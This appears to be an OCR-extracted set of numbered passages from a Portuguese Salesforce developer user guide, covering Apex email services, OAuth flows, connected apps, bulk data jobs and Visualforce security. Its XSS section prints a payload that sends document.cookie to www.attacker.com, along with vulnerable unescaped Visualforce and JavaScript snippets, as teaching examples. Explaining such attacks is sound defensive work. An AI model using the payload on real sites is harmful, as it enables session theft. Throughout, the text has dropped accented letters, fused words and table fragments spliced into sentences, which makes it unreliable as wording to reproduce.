271. e o de email do Salesforce todos os caracteres alfanum ricos s o v lidos al m dos seguintes caracteres especiais amp A_ l Para a parte do dom nio de um endere o de email do Salesforce somente os caracteres alfanum ricos s o v lidos e o h fen O ponto tamb m v lido nas duas partes local e dom nio desde que n o seja o primeiro nem o ltimo caractere Os endere os de email do Salesforce n o diferenciam mai sculas de min sculas Marque a caixa de sele o Ativo se quiser ativar o endere o de servi o de email quando voc clicarem Salvar Escolha Usu rio do contexto O servi o de email assume as permiss es do usu rio do contexto durante o processamento das mensagens que este endere o receber Por exemplo se o servi o de email for configurado para modificar os registros dos contatos quando receber informa es atualizadas sobre os contatos o servi o de email modificar apenas um registro se o usu rio do contexto tiver permiss o para edit lo EDI ES Dispon vel em Salesforce Classic e Lightning Experience Dispon vel em Edi es Enterprise Performance Unlimited e Developer O uso de servi os de email nos pacotes instalados do AppExchange tamb m dispon veis em Group e Professional Editions PERMISS ES DO USU RIO Para configurar os servi os de email do Apex e os endere os de servi o de email e Modificar todos os dados Parar criar
272. e Nome de usu rio senha usao nome de usu rio e a senha do Heroku e Chave de API usaa chave de API do Heroku O nome de usu rio da conta usada para fazer login no Heroku O aplicativo do Heroku criado sob essas credenciais de usu rio Nota Esse campo tem um comprimento maximo de 30 caracteres Se seu nome de usuario de Heroku tiver mais de 30 caracteres sera preciso inserir a chave de API associada a sua conta do Heroku no campo Chave de API do Heroku A senha da conta usada para fazer login no Heroku Ao inv s de usar um nome de usu rio e uma senha da conta do Heroku poss vel usar a chave de API associada a essa conta Voc pode encontrar esse valor na p gina Minha conta do Heroku Nota O nome de usu rio e senha do Heroku n o s o armazenados em nenhum lugar mas usados apenas durante o processo de cria o do aplicativo em uma conex o segura CONSULTE TAMB M Vis o geral de aplicativos conectados Criando um Aplicativo conectado Aprimorar o Salesforce com c digo Escopo operacional do campo Os campos que aparecem na p gina Escopo operacional dos campos s o mencionadas pelo escopo operacional Se a caixa de sele o Atualizado estiver marcada o campo ser atualizado usando a opera o de linguagem de manipula o de banco de dados DML database manipulation language como insert ou update Para obter mais informa es consulte No es b sicas sobre depend ncias Se a caixa de
273. e anexos de texto recebida com o email se houver Os anexos de texto podem ser qualquer um dos seguintes e Anexos com um tipo de MIME Multipurpose Internet Mail Extension text e Anexos com um tipo de MIME application octet stream eumnome de arquivo com extens o vcf ou vcs Estes s o salvos como tipos de MIME text x vcard e text calendar respectivamente Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 115 Nome Tipo Descri o toAddresses Stringl O endere o de email que aparece no campo Para Objeto InboundEmail Header Um objeto InboundEmail armazena informa es de cabe alho de email RFC 2822 em um objeto InboundEmail Header com os seguintes campos Nome Tipo Descri o nome String O nome do par metro do cabe alho como Date ou Message ID value String Valor do cabe alho Objeto InboundEmail BinaryAttachment Um objeto InboundEmail armazena anexos bin rios em um objeto InboundEmail BinaryAttachment Exemplos de anexos bin rios incluem arquivos de imagem udio aplicativo e v deo O objeto InboundEmail BinaryAttachment tem os seguintes campos Nome Tipo Descri o body Blob Corpo do anexo fileName String Nome do arquivo anexado mimeTypeSubType String Tipo de MIME principal e secund rio Objeto InboundEmail TextAttachment Um objeto InboundEmail armazena anexos de texto em um objeto InboundEmail TextAttachment Os anexos de texto podem ser qu
274. e aplicativos com o Salesforce 214 Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 215 touch di logo otimizado para dispositivos m veis projetado para smartphones modernos como Android e iPhone m vel di logo otimizado para dispositivos m veis projetados para smartphones menos potentes como BlackBerry OS 5 e login hint Forne a um valor v lido de nome de usu rio para preencher automaticamente a p gina de login com o nome de usu rio Por exemplo login hint usernametcompany com Se o usu rio j tem uma sess o ativa no navegador o par metro login hint n o faz nada a sess o ativa do usu rio continua e nonce Opcional com o escopo openid para obter um token de ID de usu rio O valor retornado na resposta e til para detectar ataques de repeti o e prompt Especifica como o servidor de autoriza o solicita reautentica o e reaprova o do usu rio Esse par metro opcional Os nicos valores suportados pelo Salesforce s o login O servidor de autoriza o deve solicitar o login novamente obtendo a reautentica o do usu rio consent O servidor de autoriza o deve solicitar a reaprova o ao usu rio antes de retornar informa es ao cliente v lido passar ambos os valores separados por espa o para exigir que o usu rio fa a login e reautorize Por exemplo prompt login 20consent Para iniciar o fluxo
275. e aplicativos conectados com provisionamento de usu rios para criar atualizar e excluir contas de usu rio em aplicativos de terceiros com base nos usu rios da sua organiza o do Salesforce Para seus usu rios do Salesforce voc pode configurar cria o autom tica de conta atualiza es e desativa o para servi os como Google Apps e Box poss vel tamb m descobrir contas de usu rio existentes no sistema de terceiros e determinar se j est o associadas a uma conta de usu rio do Salesforce Os aplicativos conectados ligam seus usu rios a servi os e aplicativos de terceiros O provisionamento de usu rios para aplicativos conectados permite criar atualizar e gerenciar contas de usu rio desses servi os e aplicativos Esse recurso simplifica a cria o de contas em servi os como Google Apps e associa as contas dos usu rios do Salesforce s suas contas em outros sistemas Depois de associar essas contas voc pode configurar o Iniciador de aplicativos de modo que quando clicarem no cone do aplicativo conectado no Iniciador de aplicativos os usu rios obtenham acesso imediato ao servi o de destino O provisionamento de usu rios aplica se apenas aos usu rios atribu dos a um perfil ou conjunto de permiss es que Ihes d acesso ao aplicativo conectado configurado Por exemplo voc pode configurar o provisionamento de usu rios para um aplicativo conectado do Google Apps na sua organiza o Em seguida atribua o perfil Funci
276. e avalia o Enterprise Edition do Salesforce ou uma organiza o sandbox Em uma organiza o de produ o do Salesforce voc s pode fazer altera es no Apex usando a chamada da API de metadados deploy 0 Force com IDE ou a Force com Migration Tool O Force com IDE e o Force com Migration Tool s o recursos gratuitos fornecidos pelo Salesforce para auxiliar seus usu rios e parceiros mas n o s o considerados parte de nossos Servi os dentro do escopo do Contrato de assinatura mestre do Salesforce Voc n o pode excluir uma classe especificada como um controlador em um componente ou p gina do Visualforce Um cone 2 indica que uma classe do Apex foi lan ada em um pacote gerenciado As classes do Apex em pacotes t m considera es especiais Um cone p indica que uma classe do Apex est em um pacote gerenciado instalado Voc n o pode editar nem excluir uma classe em um pacote gerenciado Um cone indica que uma classe Apex em um pacote gerenciado previamente liberado ser exclu da ao carregar o pr ximo pacote Voc pode optar por desfazer a exclus o da classe Apex por meio da p gina de detalhe do pacote e Se uma classe do Apex tiver algum m todo definido como um webService voc poder clicar em WSDL ao lado do nome da classe para gerar um documento WSDL com base no conte do da classe Esse documento cont m todas as informa es necess rias para um cliente consumir m todos de servi o da W
277. e carregamento de dados em massa Enterprise Performance nacaixa Busca r pida e em seguida selecione Trabalhos de carregamento de dados Unlimited Developer e em massa Database com 2 Cliqueemumlinkde ID do trabalho referente a um trabalho A p gina de detalhes do trabalho cont m os campos a seguir mostrados em ordem alfab tica PERMISS ES DO USU RIO Campo Descri o Para monitorar trabalhos de Tempo de On mero de milissegundos que leva para processar acionadores e outros processos carregamento de dados em processamento relacionados aos dados do trabalho Essa a soma dos tempos equivalentes em massa P e a j i do Apex todos os lotes do trabalho Isso n o inclui o tempo usado para processar opera es EO Integra es ms Apex ass ncronas e em lote Se n o houver acionadores o valor ser 0 Tempo de O n mero de milissegundos que demora para processar ativamente o trabalho processamento inclusive o tempo rastreado no campo Tempo de processamento do ativo da Apex ms mas n o inclui o tempo que o trabalho aguardou na fila para ser API ms processado nem o tempo necess rio para serializa o e remo o da serializa o Essa a soma dos tempos equivalentes em todos os lotes do trabalho Vers o A vers o da API para o trabalho da API Lotes O n mero de lotes que foram conclu dos para este trabalho conclu dos Modo O modo simult neo para processar lotes Os valores v lidos s o simu
278. e folha de estilo Respeito pelos metadados do campo como exclusividade Intera o com o Apex Desempenho P ginas do Visualforce HTML XML Marca o de marcas Padr o de montagem e componentes personalizados usando marcas Sim Sim por meio do controlador padr o Sim Os desenvolvedores podem ligar um componente de entrada como caixa de texto a um determinado campo como Nome da conta Se o usu rio gravar um valor nesse componente de entrada ele tamb m ser salvo no banco de dados Sim Sim por padr o Se o usu rio tentar gravar um registro que viole a exclusividade ou a obrigatoriedade de atributos do campo ser exibida automaticamente uma mensagem de erro e o usu rio poder tentar novamente Direta ao ligar se a um controlador personalizado Mais responsivo pois a marca o gerada na plataforma do Force com S Controls HTML JavaScript Ajax Toolkit C digo procedural Gravar HTML e JavaScript para a p gina inteira ao Os desenvolvedores n o poder o ligar um componente de entrada com um campo particular Em vez disso preciso gravar o c digo JavaScript que usa a API para atualizar o banco de dados com os valores de campo especificados pelo usu rio N o preciso pegar manualmente as folhas de estilo do Salesforce Sim se codificado no JavaScript usando uma chamada describe da API Se o usu rio tentar gravar um registro que viole a exclusividade ou a obr
279. e gerente managerld e displayName e delegatedApprover delegatedApproverld e displayName As extens es a seguir s o exibidas sob este URN urn salesforce schemas extension 18CHARORGID e campos personalizados se a organiza o tiver algum As seguintes extens es para usu rios com identidade externa ou da comunidade cujo profile Td em Direitos dotipo identidade externa ou usu rios da comunidade aparecem nesse URN urn salesforce schemas extension external 1 0 accountid e contactId Se esses valores n o s o fornecidos o Salesforce cria registros de contato e contato para o usu rio O nome da nova conta tem o formato usernameJI TUserAccount Por exemplo user corpname orgJITUserAccount Nota O seguinte se aplica a todas as opera es de SCIM e Em uma cl usula AND n o tem preced ncia sobre OR Adicione colchetes explicitamente s cl usulas se alguma cl usula individual tiver tanto AND como OR e Em uma cl usula os nomes de atributo e operadores diferenciam letras mai sculas de min sculas e Esses campos devem ser filtrados Usu rios direitos grupos Grupos membros Direitos membros Para obter mais informa es consulte a especifica o central do esquema SCIM 1 1 a especifica o da API REST SCIM 1 1 e o Guia do desenvolvedor da API REST para Salesforce Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Trabalhos de carregamento de
280. e guia para exibir o Seletor de estilo da guia Se um estilo de guia j estiver em uso um n mero entre colchetes ser exibido perto no nome de estilo da guia Passe o mouse sobre o nome do estilo para exibir as guias que usam esse estilo Cliqueem Ocultar estilos usados em outras guias para filtrar a lista PERMISS ES DO USU RIO Para criar guias do Visualforce 6 Clique em estilo de guia para selecionar o esquema de cores e o cone da guia personalizada f R ae e Personalizar aplicativo Se preferir clique em Criar o seu estilo na caixa de di logo Seletor de estilo da guia se quiser criar um estilo de guia personalizado e sua organiza o tiver acesso guia Documentos Para criar o seu estilo de guia a Clique no cone de pesquisa Cor para exibir a caixa de di logo de sele o de cor e clique em uma cor para selecion la b Clique em Inserir uma imagem selecione a pasta de documento e selecione a imagem que deseja usar Se preferir clique em Pesquisar em Documentos insira um termo de pesquisa e clique em Ir para encontrar um nome de arquivo de documento que inclua seu termo de pesquisa Nota A caixa de di logo inclui apenas arquivos em pastas de documentos que sejam inferiores a 20 KB e tenham a caixa de sele o Dispon vel externamente selecionada nas configura es de propriedades de documentos Se o documento usado para o cone for exclu do posteriormente o Salesforce substitui o por um
281. e inv lidoidentificador do cliente inv lido solicita o inv lida HTTPS necess rio solicita o inv lida deve usar HTTP GET solicita o inv lida fora de banda n o suportado acesso negado autoriza o negada do usu rio final uri de redirecionamento ausente uri de redirecionamento n o fornecido redirect uri mismatch incompatibilidade do redirect uri com o objeto aplicativo conectado insucesso imediato insucesso imediato concess o inv lida credenciais do usu rio inv lidas concess o inv lida lP restrito ou horas de login inv lido usu rio inativo o usu rio est inativo org inativa a organiza o est bloqueada fechada ou suspensa taxa limite excedida n mero de logins excedidos invalid scope o escopo solicitado inv lido desconhecido ou mal formado e estado Estado que foi informado na etapa de aprova o Isso n o ser inclu do se o par metro state n o for inclu do na string de consulta original Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 224 A seguir est um exemplo de erro no URI de redirecionamento https www mysite com user callback jsp error access denied amp state mystat CONSULTE TAMB M Autenticando aplicativos com o OAuth Fluxo de asser es de SAML O fluxo de asser es de SAML uma alternativa para as organiza es que no momento est o EDICOES usando SAML
282. e p ginas da web din micas sem validar devidamente os dados provavelmente vulner vel Ataques contra o site s o especialmente f ceis caso a entrada de um usu rio deva ser exibida a outro usu rio Algumas possibilidade bvias s o incluir um quadro de avisos ou sites com coment rios de usu rios not cias ou arquivos de email Por exemplo vamos supor que o script a seguir seja inclu do em uma p gina do Force com que use um componente de script um evento on ou uma p gina do Visualforce lt script gt var foo SCurrentPage parameters userparam script gt var foo SCurrentPage parameters userparam lt script gt Esse bloco de script insere na p gina o valor de userparam fornecido pelo usu rio O atacante ent o poder inserir o valor de userparam 1 document location http www attacker com cgi bin cookie cgi 2Bdocument cookie var 20foo 2 Neste caso todos os cookies da p gina atual s o enviados para www attacker com como a string de consulta na solicita o para oscript cookie cgi Neste ponto o atacante est com o cookie da sess o da v tima e pode se conectar ao aplicativo da web como se fosse a pr pria v tima O atacante pode postar um script mal intencionado usando um site da web ou email Os usu rios do aplicativo da web n o s veem a entrada do atacante como tamb m o navegador consegue executar o script do atacante em um contexto confi vel Com essa habilidade o atacante p
283. e para ele no entanto a marca lt apex outputText gt protegida contra XSS Todos os caracteres que parecem ser marcas HTML s o convertidos para a forma literal Por exemplo o caractere lt convertido para amp 1t para que um lt literal seja exibido na tela do usu rio lt apex outputText gt SCurrentPage parameters userInput lt apex outputText gt Desativando o escape nas marcas Visualforce Por padr o quase todas as marcas Visualforce t m um escape para os caracteres vulner veis ao XSS poss vel desativar esse comportamento ao configurar o atributo opcional escape false Por exemplo o seguinte resultado vulner vel a ataques de XSS lt apex outputText escape false value CurrentPage parameters userInput gt Itens de programa o n o protegidos contra XSS Os itens a seguir n o contam com prote es XSS internas e necess rio ter um cuidado extra ao usar esses objetos e marcas Isso ocorre porque os itens destinavam se a permitir que o desenvolvedor personalizasse a p gina inserindo comandos de script N o faz sentido incluir filtros anti XSS nos comandos que s o adicionados intencionalmente p gina JavaScript personalizado Se voc escrever seu pr prio c digo JavaScript a plataforma do Force com n o ter como proteger voc Por exemplo o c digo a seguir estar vulner vel ao XSS se utilizado no JavaScript lt script gt var foo location search docum
284. e permiss o conforme a necessidade e R tulo o r tulo da permiss o que aparece em conjuntos de permiss o e Nome 0 nome exclusivo usado pela API e pelos pacotes gerenciados e Descri o como op o uma descri o que explique a quais fun es a permiss o d acesso como Aprovar solicita es de folga e Aplicativo conectado como op o o aplicativo conectado associado permiss o 4 Clique em Salvar CONSULTE TAMB M Permiss es personalizadas Salesforce 252 EDI ES Dispon vel em Salesforce Classic e Lightning Experience Dispon vel em Edi es Group Professional Enterprise Performance Unlimited e Developer Em organiza es com Group e Professional Edition voc n o pode criar ou editar permiss es personalizadas mas poss vel instal las como parte de um pacote gerenciado PERMISS ES DO USU RIO Para editar permiss es personalizadas e Gerenciar permiss es personalizadas Aprimorar o Salesforce com c digo Adicionar ou remover as permiss es personalizadas necess rias Uma permiss o personalizada necess ria uma permiss o personalizada que deve ser ativada quando a permiss o personalizada pai ativada Por exemplo voc pode ter uma permiss o personalizada Aprovar solicita es de folga e especificar que ela requer a permiss o personalizada Enviar solicita es de folga 1 Em Configura o insira Permiss es per
285. e usam as classes do Apex para processar EDICOES conte do cabe alhos e anexos de emails de entrada Por exemplo voc pode desenvolver um servi o de email que crie registros de contatos automaticamente com base nas informa es sobre Dispon vel em Salesforce os contatos das mensagens Classic e Lightning poss vel associar cada servi o de email a um ou mais endere os de email gerados pelo Salesforce Experience aos quais os usu rios podem enviar mensagens para processamento Para dar a v rios usu rios El f Dispon vel em Edi es acesso a um nico servi o de email voc pode Enterprise Performance e Associar v rios endere os de email gerados pelo Salesforce ao servi o de email e alocar esses Unlimited e Developer endere os aos usu rios O uso de servi os de email e Associar um nico endere o de email gerado pelo Salesforce ao servi o de email e gravar uma nos pacotes instalados do classe do Apex que seja executada de acordo com o usu rio que est acessando o servi o de AppExchange tamb m email Por exemplo poss vel gravar uma classe do Apex que identifique o usu rio com base dispon veis em Group e no endere o de email dele e crie registros em nome desse usu rio Professional Editions Para usar servi os de email em Configura o insira Servi os de email nacaixa Busca r pida e selecione Servi os de email PERMISS ES DO e Clique em Novo servi o de email para definir um novo servi o de em
286. eBindingInput gt bindingInputs new List lt ConnectApi ActionLinkTemplateBindingInput gt for String key bindingMap keySet ConnectApi ActionLinkTemplateBindingInput bindingInput new ConnectApi ActionLinkTemplateBindingInput bindingInput key key bindingInput value bindingMap get key bindingInputs add bindingInput Set the template Id and template binding values in the action link group definition ConnectApi ActionLinkGroupDefinitionInput actionLinkGroupDefinitionInput new ConnectApi ActionLinkGroupDefinitionInput actionLinkGroupDefinitionInput templateId template id actionLinkGroupDefinitionInput templateBindings bindingInputs Instantiate the action link group definition ConnectApi ActionLinkGroupDefinition actionLinkGroupDefinition ConnectApi ActionLinks createActionLinkGroupDefinition Network getNetworkId actionLinkGroupDefinitionInput Considera es sobre design de modelos Considera es para projetar um modelo e Determine o momento da expira o do grupo de links de a o Consulte Defini o do hor rio de expira o do grupo de links de a o e Defina vari veis vinculantes no modelo e defina seus valores ao instanciar o grupo N o armazene informa es confidenciais em modelos Use vari veis vinculantes para adicionar informa es confidenciais em tempo de execu o Consulte Defini o de vari veis vinculantes e
287. eb do Apex Todos os m todos de classe com a palavra chave webService s o inclu dos no documento WSDL resultante e Clique em Seguran a ao lado do nome da classe para selecionar os perfis autorizados a executar m todos na classe usando pontos de entrada de n vel superior como os m todos de servi o da Web Para as classes que est o instaladas em sua organiza o como parte de um pacote gerenciado esse link ser exibido somente para aquelas que s o definidas como global Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 57 e Clique em Estimar cobertura de c digo da sua organiza o para descobrir o n vel de cobertura atual do c digo Apex em sua organiza o pelos testes da unidade Esse percentual se baseia nos mais recentes resultados de testes que voc j executou Se voc n o tiver resultados de testes a cobertura de c digo ser 0 e Se voc tiver testes de unidade em pelo menos uma classe do Apex clique em Executar todos os testes para executar todos os testes de unidade em sua organiza o e Clique em Compilar todas as classes para compilar todas as classes do Apex em sua organiza o Se voc tiver classes que s o instaladas de um pacote gerenciado e que tenham m todos de teste ou sejam classes de teste deve compilar essas classes primeiro para poder exibi las e executar os m todos de teste na p gina Execu o de teste do Apex As classes do pacote gere
288. ecebida pelo uri de redirecionamento https www mysite com code callback jsp code aPrxsmIEeqM9sstate mystate Se o usu rio negar o aplicativo ele ser redirecionado parao uri de redirecionamento com os seguintes valores na string de consulta e error Ovalor access denied e estado Estado que foi informado na etapa de aprova o Isso n o ser inclu do se o par metro state n o for inclu do na string de consulta original Por exemplo https www mysite com code callback jsp error access denied amp state mystat Se ocorrer um erro durante esta etapa a resposta conter uma mensagem de erro com estas partes Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 216 erro Cddigo do erro descri o do erro Descri o do erro com informa es adicionais tipo de resposta n o suportado tipo de resposta n o suportado id do cliente inv lidoidentificador do cliente inv lido solicita o inv lida HTTPS necess rio solicita o inv lida deve usar HTTP GET invalid request code challenge inv lido Indica que o valor de code challenge era inv lido n o estava em codifica o base64url por exemplo 7 invalid request code challenge inesperado Indica que o fluxo n o compat vel com o par metro code challenge e n o o esperava acesso negado autoriza o negada do usu rio final uri de redirecionamento ausente
289. egistrados para o seu aplicativo conectado A ferramenta Pesquisar exibe automaticamente os cinco dispositivos registrados mais recentemente Voc tamb m pode inserir o nome de um usu rio para procurar dispositivos registrados para o usu rio No caso de notifica es por push do Android GCM poss vel selecionar a op o Opera o a seco para testar a configura o do GCM Essa op o envia a notifica o para o servidor do GCM mas n o a encaminha para um dispositivo Cada tentativa de push retorna uma mensagem de status que indica sucesso ou falha Consulte Mensagens de erro sobre notifica es por push para ver explica es sobre as mensagens Para ver informa es adicionais consulte e developer apple com para obter informa es sobre as notifica es por push do Apple APNS e developer android com para obter informa es sobre as notifica es por push do GCM para Android Para acessar a p gina de teste 1 Em Configura o insira Aplicativos nacaixa Busca r pida eselecione Aplicativos Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o 2 3 Salesforce 185 Clique no nome do aplicativo conectado Clique em Enviar notifica es de teste ao lado de Plataforma de push suportada Esse link s aparece se voc configurou seu aplicativo conectado para permitir notifica es por push m veis Nota Antes de tentar enviar notifica es por push de teste verifique se as
290. egoria N vel Para definir editar excluir Banco de dados INFORMA ES definir a seguran a definir as configura es da vers o C digo do Apex CORRETO mostrar depend ncias e Perfil do Apex CORRETO executar testes de classes do Apex Fluxo de trabalho O MAIS CORRETO DE TODOS e Apex do autor Valida o INFORMA ES Aprimorar o Salesforce com c digo Guia do usu rio Executando testes no console do desenvolvedor 295 O Importante Para poder implantar o c digo do Apex ou compact lo para o AppExchange Force com a seguinte condi o deve ser verdadeira e Pelo menos 75 do seu c digo do Apex deve ser coberto por testes de unidade e todos esses testes devem ser conclu dos com xito Observe o seguinte Ao implantar o Apex em uma organiza o de produ o cada teste de unidade no namespace de sua organiza o ser executado por padr o Chamadas para System debug n o s o contadas como parte da cobertura de c digo do Apex M todos e classes de teste n o s o contados como parte da cobertura de c digo do Apex Embora apenas 75 de seu c digo Apex seja coberto por testes seu foco n o deve ser no percentual de c digo coberto Em vez disso voc deve certificar se de que cada caso de uso de seu aplicativo est coberto incluindo casos positivos e negativos bem como registros individuais e em lote Isso deve levar cobertura de 75 ou mais do c digo por testes de
291. el alterar a itera o da captura da lista de Locais do ponto de verifica o na guia Pontos de verifica o E tamb m sobrepor o c digo do Apex e as instru es SOQL que s o executadas quando o c digo executa no ponto de verifica o Execute o c digo com o Console do desenvolvedor aberto Vis ualize seus pontos de verifica o e resultados na guia Pontos de verifica o Os pontos de verifica o persistem at que voc clique em Debug Depurar gt Clear Checkpoint Locations Limpar locais do ponto de verifica o Nota Se voc configurar um ponto de verifica o em um m todo com a anota o future poss vel manter o Console do desenvolvedor aberto at que o m todo future conclua de maneira ass ncrona CONSULTE TAMB M Ins petor de registro Sobrepondo c digo do Apex e instru es SOQL Gu Ins ia Pontos de verifica o petor de pontos de verifica o Sobrepondo c digo do Apex e instru es SOQL Use o Controle do desenvolvedor para sobrepor o diagn stico que executado quando o c digo do Apex executa no ponto de verifica o sem al Consul Ao ten podem ser teis Tamb m pode ser til criar uma condi o espec fica na qual testar o c digo O Console do desenvolvedor permite sobrepor o c digo do Apex e as instru es SOQL que s o executados quando o c digo executa no ponto de verifica o 1 2 3 De Sel Sel erar nenhum c digo te Configurando pon
292. el global SControl para fazer refer ncia a um snippet Para implementar isso crie dois snippets chamados Resize frame head e Resize lframe onload e crie um s control HTML chamado Resize Iframe sample que inclui o seguinte c digo lt html gt lt body gt INCLUDE SControl Header Snippet title My Title theme modern lt body gt lt html gt Campos de mesclagem para s controls O Importante As p ginas do Visualforce substituem s controls As organiza es que n o usaram s controls anteriormente n o podem cri los Os s controls existentes n o s o afetados e ainda podem ser editados Dispon vel em Salesforce Um campo de mesclagem aquele que voc pode colocar em um modelo de email modelo de Classic mesclagem de correio link personalizado ou f rmula para incorporar valores de um registro Dispon vel em Edi es Como os s controls s o a origem do conte do da ajuda de n vel de objeto voc pode usar campos Contact Manager Group Professional Enterprise Performance Unlimited e Developer de mesclagem ou outras fun es para personalizar a experi ncia Por exemplo voc pode criar a ajuda personalizada para se comunicar diretamente com o usu rio incluindo o nome do usu rio p gina da ajuda quando ela for exibida Dicas e Para consultar um arquivo carregado no campo Nome do arquivo como parte do s control personalizado selecione S control personalizado na lista suspensa Selecion
293. el procurar e abrir os conte dos de pacotes na sua organiza o na janela File Arquivo gt Open Abrir poss vel ainda ver os conte dos completos de pacotes e abrir os arquivos de c digo e objetos personalizados contidos em um pacote mas outros itens de pacote como campos personalizados e regras de valida o podem ser vistos na lista mas n o visualizados em detalhes Nota N o poss vel exibir ou editar o conte do dos pacotes gerenciados que voc instalou em sua organiza o Tamb m poss vel procurar abrir e editar as entidades de pacotes n o gerenciados assim como aqueles que voc mesmo criou CONSULTE TAMB M Editor de c digo fonte Inspetor de registro Inspetor de objeto Menu Editar O menu Edit Editar do console do Developer permite pesquisar e editar arquivos de c digo e Find Localizar Procura o texto selecionado na exibi o atual Se nenhum texto est selecionado abre um di logo de localizar do navegador e Find Next Localizar pr xima Localiza a pr xima correspond ncia referente ao texto selecionado ou especificado na exibi o atual e Find Replace Localizar substituir Localiza e substitui o texto selecionado ou especificado na exibi o atual e Searchin Files Pesquisar em arquivos Abre uma caixa de di logo de pesquisa para pesquisar os conte dos de todos os arquivos de c digo e Fix Indentation Corrigir recuo Corrige o recuo no arquivo de c digo atual Me
294. em Ir para gerar uma lista de todos os dispositivos registrados no momento sob o nome de usu rio em quest o 2 Em Carga insira um valor de JSON que cont m a sua mensagem 3 Para enviar a notifica o por push somente para o servidor do GCM selecione Opera o a seco 4 Clique em Enviar para enviar a notifica o por push de teste ou clique em Apagar para redefinir o formul rio CONSULTE TAMB M Testando as notifica es por push Mensagens de erro de notifica es por push Se voc obt m uma mensagem de erro ao enviar uma notifica o por push a partir da p gina Enviar notifica o de teste verifique a tabela a seguir para ver sugest es de como corrigir o erro Mensagem O limite da taxa de push por dia referente a este aplicativo conectado foi excedido O certificado n o aceito pelo servi o Apple Push Notification O certificado foi revogado O certificado expirou O certificado ainda n o v lido Senha ou certificado inv lido Carga ou destinat rio inv lido A carga excede o tamanho m ximo N o foi poss vel carregar as configura es de notifica es por push O campo destinat rio cont m um token de dispositivo inv lido Comprimento do token de dispositivo inv lido Erro ao enviar a notifica o Confirme se o certificado o adequado para o ambiente Apple correto O servi o Apple Push Notification n o est dispon vel N o foi poss vel se conectar ao servi o Apple Push Notifi
295. em alguns campos tamb m se aplicam imediatamente a todas as vers es instaladas do aplicativo conectado S o campos independentes da vers o que ignoram o ciclo de vida de empacotamento ou instala o Os usu rios do aplicativo conectado ver o algumas coisas mudarem como a descri o Os campos a seguir t m esse comportamento independente da vers o e Descri o e URL de informa es e URL da imagem do logotipo e URL de callback Empacotando um aplicativo conectado Ap s a cria o de um aplicativo conectado ou de uma nova vers o de um aplicativo existente embale o para disponibiliz lo aos usu rios em outras organiza es do Salesforce Adicione um aplicativo conectado a um pacote gerenciado da mesma forma e juntamente com outros componentes como objetos personalizados p ginas do Visualforce ou classes do Apex Isso facilita a distribui o de um aplicativo conectado para outras organiza es do Salesforce Como componente que pode ser empacotado os aplicativos conectados tamb m podem tirar proveito de todos os outros recursos de pacotes gerenciados como listagem no AppExchange upgrade autom tico scripts de Apex p s instala o gerenciamento de licen as e suporte aprimorado ao assinante Nota S se pode embalar um aplicativo conectado em uma organiza o com a Edi o Developer Aplicativos conectados s podem ser adicionados a pacotes gerenciados N o h suporte para Aplicativos conectados em pacotes n o
296. em ser adicionados ao trabalho e Fechado Nenhum lote novo pode ser adicionado a este trabalho Os lotes associados ao trabalho poder o ser processados depois que um trabalho for fechado Voc n o pode editar ou salvar um trabalho fechado e Anulado O trabalho foi anulado Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 157 Coluna Descri o e Falha Otrabalho falhou Os lotes que foram processados de forma bem sucedida no trabalho n o podem ser restabelecidos Enviado por O nome do usu rio que enviou o trabalho Per odo para O per odo total para concluir o trabalho concluir CONSULTE TAMB M Visualizar detalhes dos trabalhos de carregamento de dados em massa Visualizar detalhes dos trabalhos de carregamento de dados em massa Voc pode criar atualizar ou excluir um grande volume de registros com a APlem massa que EDICOES otimizada para processar conjuntos grandes de dados Ela simplifica o carregamento a atualiza o ou a exclus o de dados de alguns milhares a milh es de registros Processando uma grande Dispon vel em Salesforce quantidade de registros requer certo tempo Essa p gina permite que voc monitore o andamento Classic e Lightning dos trabalhos atuais e os resultads do trabalhos recentes Experience Para exibir os detalhes de um trabalho de carregamento de dados em massa Dispon vel em Edi es 1 Em Configura o insira Trabalhos d
297. email pelos seguintes motivos A o para limite da taxa de email excedido Determina o que o servi o de email faz com as mensagens se o n mero total de emails processados por todos os servi os de email juntos atingir o limite di rio da sua organiza o O Salesforce calcula o limite multiplicando o n mero de licen as do usu rio por 1 000 at o n mero m ximo de 1 000 000 por dia Por exemplo se voc tem 10 licen as a sua organiza o pode processar at 10 000 mensagens de email por dia A o para endere o de email desativado Determina o que o servi o de email faz com as mensagens recebidas por um endere o de email inativo A o para servi o de email desativado Determina o que o servi o de email faz com as mensagens que ele receber enquanto estiver inativo A o para remetente n o autenticado Determina o que o servi o de email faz com as mensagens que s o reprovadas ou que n o suportam nenhum dos protocolos se a caixa de sele o Autenticar remetentes estiver marcada A o para remetente n o autorizado Determina o que o servi o de email faz com as mensagens recebidas de remetentes que n o est o relacionados na caixa de texto Aceitar email de tanto no servi o de email quanto no endere o do servi o de email As op es de resposta da falha s o Devolver mensagem O servi o de email retorna a mensagem ao remetente ou ao Usu rio automatizado do caso para o Email to Case On Demand com uma notifica
298. en em https login salesforce com services oauth2 token ou https test salesforce com services oauth2 token No comando POST os seguintes par metros devem ser fornecidos grant type urn ietf params oauth grant type saml2 bearer Obrigat rio e declara o declara o portadora SAML codificada usando base64url conforme definido aqui http tools ietf org html rfc4648 page 7 Obrigat rio Par metros padr o adicionais e format O formato da resposta pode ser especificado como em um fluxo OAuth usando o par metro token ou um cabe alho HTTP Accepts e scope O escopo n o suportado neste fluxo O valor desse par metro a combina o de escopos das aprova es anteriores Veja aqui um exemplo da solicita o de token POST services oauth2 token HTTP 1 1 Host login salesforce com Content Type application x www form urlencoded grant_type urn 3Aietf 3Aparams 3Aocauth 3Agrant type 3Asaml2 bearer amp assertion PHNhbWxwOl omitted for brevityl ZT Servidor envia uma resposta Ap s a verifica o da solicita o o Salesforce envia uma resposta para o cliente As respostas de token do fluxo de declara o portadora SAML do OAuth 2 0 seguem o mesmo formato que os fluxos authorization code embora n o seja emitido um refresh token Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 206 Nota Uma solicita o de declara o portadora SAM
